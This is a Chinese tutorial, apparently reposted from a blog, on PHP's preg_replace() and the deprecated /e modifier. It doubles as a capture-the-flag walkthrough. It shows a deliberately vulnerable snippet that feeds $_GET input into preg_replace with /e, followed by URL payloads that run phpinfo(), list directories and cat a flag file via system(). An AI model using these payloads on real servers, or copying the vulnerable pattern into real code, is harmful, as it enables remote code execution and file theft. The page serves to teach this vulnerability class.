php函数preg_replace()

preg_replace 函数执行一个正则表达式的搜索和替换。

语法

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

参数说明:

$pattern: 要搜索的模式,可以是字符串或一个字符串数组。

$replacement: 用于替换的字符串或字符串数组。

$subject: 要搜索替换的目标字符串或字符串数组。

$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。

$count: 可选,为替换执行的次数。

PHP 的 preg_replace()函数存在一个安全问题:php5.5以上废除/e.

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

示例:

preg_replace("/test/e",$_GET["h"],"jutst test");

如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。这个正则被正确的匹配到,在进行替换的过程中,需要将$_GET["h"]传入的String当作函数来运行,因此phpinfo()被成功执行。

代码如下:

<?php
preg_replace("/test/e",$_GET["h"],"jutst test");
?>

访问的url:?h=phpinfo()就会触发phpinfo()的执行

在本题中我们传入:?pat=/test/e&rep=phpinfo()&sub=just test 就会触发phpinfo()的执行

20190831135501.png

同样执行系统命令:

?pat=/test/e&rep=system("ls")&sub=just test

20190831135609.png

?pat=/test/e&rep=system("cd s3chahahaDir;ls -la")&sub=just test

20190831135945.png

?pat=/test/e&rep=system("cd s3chahahaDir/flag;ls -la")&sub=just test

20190831140023.png

?pat=/test/e&rep=system("cat s3chahahaDir/flag/flag.php")&sub= just test

20190831141725.png

猜你喜欢

转载自www.cnblogs.com/weak-chicken/p/12336401.html